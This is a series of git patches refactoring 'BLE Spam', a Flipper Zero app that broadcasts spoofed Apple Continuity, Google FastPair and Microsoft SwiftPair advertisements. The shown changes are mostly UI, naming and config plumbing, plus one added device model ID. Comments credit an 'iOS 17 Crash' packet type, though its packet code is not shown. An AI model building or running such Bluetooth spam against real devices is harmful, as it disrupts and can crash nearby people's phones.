view_dispatcher_remove_view(view_dispatcher, ViewMain); + view_free(view); + view_dispatcher_free(view_dispatcher); furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(input_queue); furi_thread_free(state->thread); free(state); diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index 280111515..cba727645 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -9,10 +9,10 @@ #include #include -typedef union BleSpamProtocolCfg BleSpamProtocolCfg; +typedef union ProtocolCfg ProtocolCfg; typedef struct { const Icon* icon; - const char* (*get_name)(const BleSpamProtocolCfg* _cfg); - void (*make_packet)(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg); -} BleSpamProtocol; + const char* (*get_name)(const ProtocolCfg* _cfg); + void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg); +} Protocol; diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_registry.c index 3d334fa14..502c877b8 100644 --- a/applications/external/ble_spam/protocols/_registry.c +++ b/applications/external/ble_spam/protocols/_registry.c @@ -1,9 +1,9 @@ #include "_registry.h" -const BleSpamProtocol* ble_spam_protocols[] = { - &ble_spam_protocol_continuity, - &ble_spam_protocol_fastpair, - &ble_spam_protocol_swiftpair, +const Protocol* protocols[] = { + &protocol_continuity, + &protocol_fastpair, + &protocol_swiftpair, }; -const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols); +const size_t protocols_count = COUNT_OF(protocols); diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h index cca571a5b..6b0b68dd3 100644 --- a/applications/external/ble_spam/protocols/_registry.h +++ b/applications/external/ble_spam/protocols/_registry.h @@ -4,17 +4,17 @@ #include "fastpair.h" #include "swiftpair.h" -union BleSpamProtocolCfg { +union ProtocolCfg { ContinuityCfg continuity; FastpairCfg fastpair; SwiftpairCfg swiftpair; }; -extern const BleSpamProtocol* ble_spam_protocols[]; +extern const Protocol* protocols[]; -extern const size_t ble_spam_protocols_count; +extern const size_t protocols_count; typedef struct { bool random_mac; - BleSpamProtocolCfg cfg; -} BleSpamPayload; + ProtocolCfg cfg; +} Payload; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index b52f45a5f..08a8c0ef7 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -16,7 +16,7 @@ static const char* type_names[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = "Nearby Info", [ContinuityTypeCustomCrash] = "Custom Packet", }; -const char* continuity_get_name(const BleSpamProtocolCfg* _cfg) { +const char* continuity_get_name(const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = &_cfg->continuity; return type_names[cfg->type]; } @@ -33,7 +33,7 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; -void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; ContinuityType type; @@ -269,7 +269,7 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_continuity = { +const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index e40d3525e..eb6334731 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -33,4 +33,4 @@ typedef struct { } data; } ContinuityCfg; -extern const BleSpamProtocol ble_spam_protocol_continuity; +extern const Protocol protocol_continuity; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 8d03a6719..28b081e29 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -4,13 +4,13 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction -const char* fastpair_get_name(const BleSpamProtocolCfg* _cfg) { +const char* fastpair_get_name(const ProtocolCfg* _cfg) { const FastpairCfg* cfg = &_cfg->fastpair; UNUSED(cfg); return "FastPair"; } -void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; uint32_t model_id; @@ -67,7 +67,7 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_fastpair = { +const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h index 46162fbc5..9daf43411 100644 --- a/applications/external/ble_spam/protocols/fastpair.h +++ b/applications/external/ble_spam/protocols/fastpair.h @@ -8,4 +8,4 @@ typedef struct { uint32_t model_id; } FastpairCfg; -extern const BleSpamProtocol ble_spam_protocol_fastpair; +extern const Protocol protocol_fastpair; diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 60d8808d4..d7046a67f 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -4,13 +4,13 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair -const char* swiftpair_get_name(const BleSpamProtocolCfg* _cfg) { +const char* swiftpair_get_name(const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = &_cfg->swiftpair; UNUSED(cfg); return "SwiftPair"; } -void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; const char* display_name; @@ -47,7 +47,7 @@ void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProto *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_swiftpair = { +const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h index c3ef21540..4ee4241db 100644 --- a/applications/external/ble_spam/protocols/swiftpair.h +++ b/applications/external/ble_spam/protocols/swiftpair.h @@ -8,4 +8,4 @@ typedef struct { char display_name[25]; } SwiftpairCfg; -extern const BleSpamProtocol ble_spam_protocol_swiftpair; +extern const Protocol protocol_swiftpair; From 93cf1433b95c4a9018c671f95897ca3a6610370c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 05:25:34 +0100 Subject: [PATCH 22/56] BLE Spam icon in app --- applications/external/ble_spam/ble_spam.c | 2 +- .../ble_spam/icons/{ble.png => ble_spam.png} | Bin 5165 -> 4270 bytes 2 files changed, 1 insertion(+), 1 deletion(-) rename applications/external/ble_spam/icons/{ble.png => ble_spam.png} (56%) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index dc05a748a..5257b1c46 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -204,7 +204,7 @@ static void draw_callback(Canvas* canvas, void* ctx) { const Protocol* protocol = attack ? attack->protocol : NULL; canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); + canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam); canvas_draw_str(canvas, 14, 12, "BLE Spam"); switch(state->index) { diff --git a/applications/external/ble_spam/icons/ble.png b/applications/external/ble_spam/icons/ble_spam.png similarity index 56% rename from applications/external/ble_spam/icons/ble.png rename to applications/external/ble_spam/icons/ble_spam.png index f5cf3880bc8344c6cdad680afa6a3ab8ab2b47aa..40a2b88592be046444ecad2d54c8405fb13cae39 100644 GIT binary patch delta 887 zcmZ3hu})F3Gr-TCmrII^fq{Y7)59eQNOJ-)7Y7@VOk*wCH&IcFk#nMrJ0sJ?7DFEo zpeQ2{!)SL;-v9+8JwpRMV-p4jBLgF2D?Khud&{eYqL<<(hANtReNEX15B48j z)!e;#9pAbpg&&NMUOig!LP_Lge)_TAn6f?#Kbl>MzwNIfPfJ;2*x_ya`*U}fGO^5S)L#4e zeg@O!`Af{Lq8@Q{FTE)yVGEB;;r{X?Wl;@Y{|DTun{X4TrbW!6Tw+oMf5nYiP5>XQ2>tmI?c_xz` zlZugLl9`2tajI^Ld6Jo~iJ6(1ZlYmYvaT60LJdt)5-p5POeX(kkykNJH8eFdNlnr< zGEPd>H8C-^(6vlVHP$sqF-kK|O0-C{Of;Ts$Eu-hU}$jI1i@=ew*E{hOY%9)(Yrh?3!&DN!2 zVVq)OVs2upYmt%)v_CP)Lf69F%vjgdC?zGu!qha;*eH22Kc_d6zRg21sKj#u+5mN|1W&H*yy>UXpM&jdCvCZ6wz%b-dXskrv%On# la%IEwxYHlY@2;%2tG{F?cud538z|L#y85}Sb7D$p0swDJKA!|7$v3tXe$R_xQIwO#baM;!o$1pmyIq{G8efPfmo_+80 z?0tF?yVoQh%FlC!TVt&hMTNUJIt%n_(Zd>M)^o#w6b)%cL{LOb0^~%DMa)tL%J503o~i#sFVwH`UccTQ^cf6sjc;V7 z0Nb93>MQvlr#*U~RIX^rPaLs!izmwGOu4Z~qhD|h^o@-T%A*6p(qc<-M#MZ-T~}RD z>y27C9{pyZVfXFU`q}vU2UO=~seP0+Z$DqvLksDu6epi6ZQU|lcB(J?aNo=iZ^aBxr~X*}xzKEX z{;Y9XQuIjvYbI{|+@EJkHeTO%dC>94Tyjmy-L(h3iebz4whG6imGd(<*5)+kHMoB> zUVA)FR(|)&&*|5`Tt7T}b^>o|8e?{U_VwdYGyL2A?#1rlk*5BtvGMcWDSIzX+TdU6 zm9G2Q8SR;!)P;^;_{pY!%M#B0{?Cn@gHxexojnEorGZ3PaOQqpNB!)chYuh4iy9rx zB{e-GhrX?)s7T|E!jjsO+#FHa)q67Jr4YLe6`zt z-@I|99jllVSe^i+$sE9{BmqH20)RB+c#feJmQ{QX)0$P7!I<^PfK?y?m`7NDC#Zmf zkl}e&k+Ft-Ehgu3#IuC(fQ1!Ox^uHE_pITjv~|yyvhDnUf+K=jio|Mt5iBIeRj<9rzCrYIsWk From 13662663a5bb6350fd4b4667696bd8147446ead1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 01:21:46 +0100 Subject: [PATCH 23/56] Add Sony WF-1000XM4 (thanks Mr_Bass8!) --- applications/external/ble_spam/protocols/fastpair.c | 1 + 1 file changed, 1 insertion(+) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 28b081e29..70866f02d 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -25,6 +25,7 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* 0x821F66, // JBL Flip 6 0x92BBBD, // Pixel Buds 0xD446A7, // Sony XM5 + 0x2D7A23, // Sony WF-1000XM4 // Custom debug popups 0xD99CA1, // Flipper Zero From b090d282822d683bb7a55885098716dc6798ee58 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 03:08:23 +0100 Subject: [PATCH 24/56] BLE Spam refactor again to use scene manager --- applications/external/ble_spam/ble_spam.c | 50 +++++++++---------- applications/external/ble_spam/ble_spam.h | 14 ++++++ .../external/ble_spam/protocols/_scenes.h | 0 .../external/ble_spam/scenes/_scenes.h | 2 + .../external/ble_spam/scenes/_setup.c | 30 +++++++++++ .../external/ble_spam/scenes/_setup.h | 28 +++++++++++ applications/external/ble_spam/scenes/main.c | 16 ++++++ 7 files changed, 115 insertions(+), 25 deletions(-) create mode 100644 applications/external/ble_spam/ble_spam.h create mode 100644 applications/external/ble_spam/protocols/_scenes.h create mode 100644 applications/external/ble_spam/scenes/_scenes.h create mode 100644 applications/external/ble_spam/scenes/_setup.c create mode 100644 applications/external/ble_spam/scenes/_setup.h create mode 100644 applications/external/ble_spam/scenes/main.c diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 5257b1c46..f6d12a7d0 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -1,7 +1,7 @@ +#include "ble_spam.h" #include #include #include -#include #include "protocols/_registry.h" @@ -114,6 +114,7 @@ static Attack attacks[] = { uint16_t delays[] = {20, 50, 100, 200}; typedef struct { + Ctx ctx; bool resume; bool advertising; uint8_t delay; @@ -164,10 +165,6 @@ static void toggle_adv(State* state) { } } -enum { - ViewMain, -}; - #define PAGE_MIN (-3) #define PAGE_MAX ATTACKS_COUNT enum { @@ -363,9 +360,9 @@ static bool input_callback(InputEvent* input, void* ctx) { return consumed; } -static uint32_t exit_callback(void* ctx) { - UNUSED(ctx); - return VIEW_NONE; +static bool back_event_callback(void* _ctx) { + Ctx* ctx = _ctx; + return scene_manager_handle_back_event(ctx->scene_manager); } int32_t ble_spam(void* p) { @@ -377,27 +374,30 @@ int32_t ble_spam(void* p) { furi_thread_set_stack_size(state->thread, 4096); Gui* gui = furi_record_open(RECORD_GUI); - ViewDispatcher* view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(view_dispatcher); - view_dispatcher_set_event_callback_context(view_dispatcher, state); + state->ctx.view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(state->ctx.view_dispatcher); + view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx); + view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback); + state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx); - View* view = view_alloc(); - view_allocate_model(view, ViewModelTypeLockFree, sizeof(State*)); + View* view_main = view_alloc(); + view_allocate_model(view_main, ViewModelTypeLockFree, sizeof(State*)); with_view_model( - view, State * *model, { *model = state; }, false); - view_set_context(view, view); - view_set_draw_callback(view, draw_callback); - view_set_input_callback(view, input_callback); - view_set_previous_callback(view, exit_callback); - view_dispatcher_add_view(view_dispatcher, ViewMain, view); + view_main, State * *model, { *model = state; }, false); + view_set_context(view_main, view_main); + view_set_draw_callback(view_main, draw_callback); + view_set_input_callback(view_main, input_callback); + view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, view_main); - view_dispatcher_attach_to_gui(view_dispatcher, gui, ViewDispatcherTypeFullscreen); - view_dispatcher_switch_to_view(view_dispatcher, ViewMain); - view_dispatcher_run(view_dispatcher); + view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen); + scene_manager_next_scene(state->ctx.scene_manager, SceneMain); + view_dispatcher_run(state->ctx.view_dispatcher); - view_dispatcher_remove_view(view_dispatcher, ViewMain); - view_free(view); - view_dispatcher_free(view_dispatcher); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain); + view_free(view_main); + + scene_manager_free(state->ctx.scene_manager); + view_dispatcher_free(state->ctx.view_dispatcher); furi_record_close(RECORD_GUI); furi_thread_free(state->thread); diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h new file mode 100644 index 000000000..9c409ebfd --- /dev/null +++ b/applications/external/ble_spam/ble_spam.h @@ -0,0 +1,14 @@ +#pragma once + +#include + +#include "scenes/_setup.h" + +enum { + ViewMain, +}; + +typedef struct { + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; +} Ctx; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h new file mode 100644 index 000000000..e69de29bb diff --git a/applications/external/ble_spam/scenes/_scenes.h b/applications/external/ble_spam/scenes/_scenes.h new file mode 100644 index 000000000..04bc373fc --- /dev/null +++ b/applications/external/ble_spam/scenes/_scenes.h @@ -0,0 +1,2 @@ +ADD_SCENE(main, Main) +#include "../protocols/_scenes.h" diff --git a/applications/external/ble_spam/scenes/_setup.c b/applications/external/ble_spam/scenes/_setup.c new file mode 100644 index 000000000..511267544 --- /dev/null +++ b/applications/external/ble_spam/scenes/_setup.c @@ -0,0 +1,30 @@ +#include "_setup.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(name, id) scene_##name##_on_enter, +void (*const scene_on_enter_handlers[])(void*) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(name, id) scene_##name##_on_event, +bool (*const scene_on_event_handlers[])(void*, SceneManagerEvent) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(name, id) scene_##name##_on_exit, +void (*const scene_on_exit_handlers[])(void*) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers scene_handlers = { + .on_enter_handlers = scene_on_enter_handlers, + .on_event_handlers = scene_on_event_handlers, + .on_exit_handlers = scene_on_exit_handlers, + .scene_num = SceneCount, +}; diff --git a/applications/external/ble_spam/scenes/_setup.h b/applications/external/ble_spam/scenes/_setup.h new file mode 100644 index 000000000..e9f3b44c5 --- /dev/null +++ b/applications/external/ble_spam/scenes/_setup.h @@ -0,0 +1,28 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(name, id) Scene##id, +typedef enum { +#include "_scenes.h" + SceneCount, +} Scene; +#undef ADD_SCENE + +extern const SceneManagerHandlers scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(name, id) void scene_##name##_on_enter(void*); +#include "_scenes.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(name, id) bool scene_##name##_on_event(void*, SceneManagerEvent); +#include "_scenes.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(name, id) void scene_##name##_on_exit(void*); +#include "_scenes.h" +#undef ADD_SCENE diff --git a/applications/external/ble_spam/scenes/main.c b/applications/external/ble_spam/scenes/main.c new file mode 100644 index 000000000..6d901e1fb --- /dev/null +++ b/applications/external/ble_spam/scenes/main.c @@ -0,0 +1,16 @@ +#include "../ble_spam.h" + +void scene_main_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewMain); +} + +bool scene_main_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_main_on_exit(void* _ctx) { + UNUSED(_ctx); +} From cb2c00a84f1a55924ee93578231853ad807e0802 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 03:43:09 +0100 Subject: [PATCH 25/56] BLE Spam add basic config page (parameters later) --- applications/external/ble_spam/ble_spam.c | 26 +++++++++----- applications/external/ble_spam/ble_spam.h | 8 +++++ .../external/ble_spam/protocols/_registry.h | 7 ++++ .../external/ble_spam/protocols/_scenes.h | 3 ++ .../ble_spam/protocols/continuity_scenes.h | 0 .../ble_spam/protocols/fastpair_scenes.h | 0 .../ble_spam/protocols/swiftpair_scenes.h | 0 .../external/ble_spam/scenes/_scenes.h | 1 + .../external/ble_spam/scenes/config.c | 34 +++++++++++++++++++ 9 files changed, 71 insertions(+), 8 deletions(-) create mode 100644 applications/external/ble_spam/protocols/continuity_scenes.h create mode 100644 applications/external/ble_spam/protocols/fastpair_scenes.h create mode 100644 applications/external/ble_spam/protocols/swiftpair_scenes.h create mode 100644 applications/external/ble_spam/scenes/config.c diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index f6d12a7d0..ae0467f3b 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -12,13 +12,6 @@ // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam -typedef struct { - const char* title; - const char* text; - const Protocol* protocol; - Payload payload; -} Attack; - static Attack attacks[] = { { .title = "+ Kitchen Sink", @@ -323,7 +316,15 @@ static bool input_callback(InputEvent* input, void* ctx) { switch(input->key) { case InputKeyOk: - if(is_attack) toggle_adv(state); + if(is_attack) { + if(input->type == InputTypeLong) { + if(advertising) toggle_adv(state); + state->ctx.attack = &attacks[state->index]; + scene_manager_next_scene(state->ctx.scene_manager, SceneConfig); + } else if(input->type == InputTypeShort) { + toggle_adv(state); + } + } break; case InputKeyUp: if(is_attack && state->delay < COUNT_OF(delays) - 1) { @@ -389,10 +390,19 @@ int32_t ble_spam(void* p) { view_set_input_callback(view_main, input_callback); view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, view_main); + state->ctx.variable_item_list = variable_item_list_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, + ViewVariableItemList, + variable_item_list_get_view(state->ctx.variable_item_list)); + view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen); scene_manager_next_scene(state->ctx.scene_manager, SceneMain); view_dispatcher_run(state->ctx.view_dispatcher); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList); + variable_item_list_free(state->ctx.variable_item_list); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain); view_free(view_main); diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index 9c409ebfd..f97030d50 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -1,14 +1,22 @@ #pragma once #include +#include #include "scenes/_setup.h" enum { ViewMain, + ViewVariableItemList, }; +typedef struct Attack Attack; + typedef struct { + Attack* attack; + ViewDispatcher* view_dispatcher; SceneManager* scene_manager; + + VariableItemList* variable_item_list; } Ctx; diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h index 6b0b68dd3..9f81eaf60 100644 --- a/applications/external/ble_spam/protocols/_registry.h +++ b/applications/external/ble_spam/protocols/_registry.h @@ -18,3 +18,10 @@ typedef struct { bool random_mac; ProtocolCfg cfg; } Payload; + +struct Attack { + const char* title; + const char* text; + const Protocol* protocol; + Payload payload; +}; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h index e69de29bb..d91f31010 100644 --- a/applications/external/ble_spam/protocols/_scenes.h +++ b/applications/external/ble_spam/protocols/_scenes.h @@ -0,0 +1,3 @@ +#include "continuity_scenes.h" +#include "fastpair_scenes.h" +#include "swiftpair_scenes.h" diff --git a/applications/external/ble_spam/protocols/continuity_scenes.h b/applications/external/ble_spam/protocols/continuity_scenes.h new file mode 100644 index 000000000..e69de29bb diff --git a/applications/external/ble_spam/protocols/fastpair_scenes.h b/applications/external/ble_spam/protocols/fastpair_scenes.h new file mode 100644 index 000000000..e69de29bb diff --git a/applications/external/ble_spam/protocols/swiftpair_scenes.h b/applications/external/ble_spam/protocols/swiftpair_scenes.h new file mode 100644 index 000000000..e69de29bb diff --git a/applications/external/ble_spam/scenes/_scenes.h b/applications/external/ble_spam/scenes/_scenes.h index 04bc373fc..dbc035b54 100644 --- a/applications/external/ble_spam/scenes/_scenes.h +++ b/applications/external/ble_spam/scenes/_scenes.h @@ -1,2 +1,3 @@ ADD_SCENE(main, Main) +ADD_SCENE(config, Config) #include "../protocols/_scenes.h" diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c new file mode 100644 index 000000000..d3be2ae60 --- /dev/null +++ b/applications/external/ble_spam/scenes/config.c @@ -0,0 +1,34 @@ +#include "../ble_spam.h" + +#include "protocols/_registry.h" + +static void random_mac_changed(VariableItem* item) { + Ctx* ctx = variable_item_get_context(item); + ctx->attack->payload.random_mac = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); +} + +void scene_config_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + VariableItem* item; + VariableItemList* list = ctx->variable_item_list; + variable_item_list_reset(list); + + variable_item_list_set_header(list, ctx->attack->title); + + item = variable_item_list_add(list, "Random MAC", 2, random_mac_changed, ctx); + variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); + variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList); +} + +bool scene_config_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_config_on_exit(void* _ctx) { + UNUSED(_ctx); +} From b35221f0a3d93a8945f7c4499daca32f3d0fae0f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 03:45:10 +0100 Subject: [PATCH 26/56] Rename _registry to _protocols --- applications/external/ble_spam/ble_spam.c | 2 +- .../external/ble_spam/protocols/{_registry.c => _protocols.c} | 2 +- .../external/ble_spam/protocols/{_registry.h => _protocols.h} | 0 applications/external/ble_spam/protocols/continuity.c | 2 +- applications/external/ble_spam/protocols/fastpair.c | 2 +- applications/external/ble_spam/protocols/swiftpair.c | 2 +- applications/external/ble_spam/scenes/config.c | 2 +- 7 files changed, 6 insertions(+), 6 deletions(-) rename applications/external/ble_spam/protocols/{_registry.c => _protocols.c} (87%) rename applications/external/ble_spam/protocols/{_registry.h => _protocols.h} (100%) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index ae0467f3b..150a8a0a3 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -3,7 +3,7 @@ #include #include -#include "protocols/_registry.h" +#include "protocols/_protocols.h" // Hacked together by @Willy-JL // Custom adv API by @Willy-JL (idea by @xMasterX) diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_protocols.c similarity index 87% rename from applications/external/ble_spam/protocols/_registry.c rename to applications/external/ble_spam/protocols/_protocols.c index 502c877b8..8be02da9b 100644 --- a/applications/external/ble_spam/protocols/_registry.c +++ b/applications/external/ble_spam/protocols/_protocols.c @@ -1,4 +1,4 @@ -#include "_registry.h" +#include "_protocols.h" const Protocol* protocols[] = { &protocol_continuity, diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_protocols.h similarity index 100% rename from applications/external/ble_spam/protocols/_registry.h rename to applications/external/ble_spam/protocols/_protocols.h diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 08a8c0ef7..fdf1870f0 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -1,5 +1,5 @@ #include "continuity.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL // iOS 17 Crash by @ECTO-1A diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 70866f02d..8b9c139c2 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -1,5 +1,5 @@ #include "fastpair.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index d7046a67f..e4d081754 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -1,5 +1,5 @@ #include "swiftpair.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index d3be2ae60..51958b15d 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -1,6 +1,6 @@ #include "../ble_spam.h" -#include "protocols/_registry.h" +#include "protocols/_protocols.h" static void random_mac_changed(VariableItem* item) { Ctx* ctx = variable_item_get_context(item); From f76f9008eb89dd7a4298b41cf951059addb4a68e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 11:21:57 +0100 Subject: [PATCH 27/56] Add statics --nobuild --- applications/external/ble_spam/ble_spam.c | 2 +- applications/external/ble_spam/protocols/continuity.c | 4 ++-- applications/external/ble_spam/protocols/fastpair.c | 4 ++-- applications/external/ble_spam/protocols/swiftpair.c | 4 ++-- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 150a8a0a3..1104b4595 100644 --- a/applications/external/ble_spam/ble_spam.c +++ 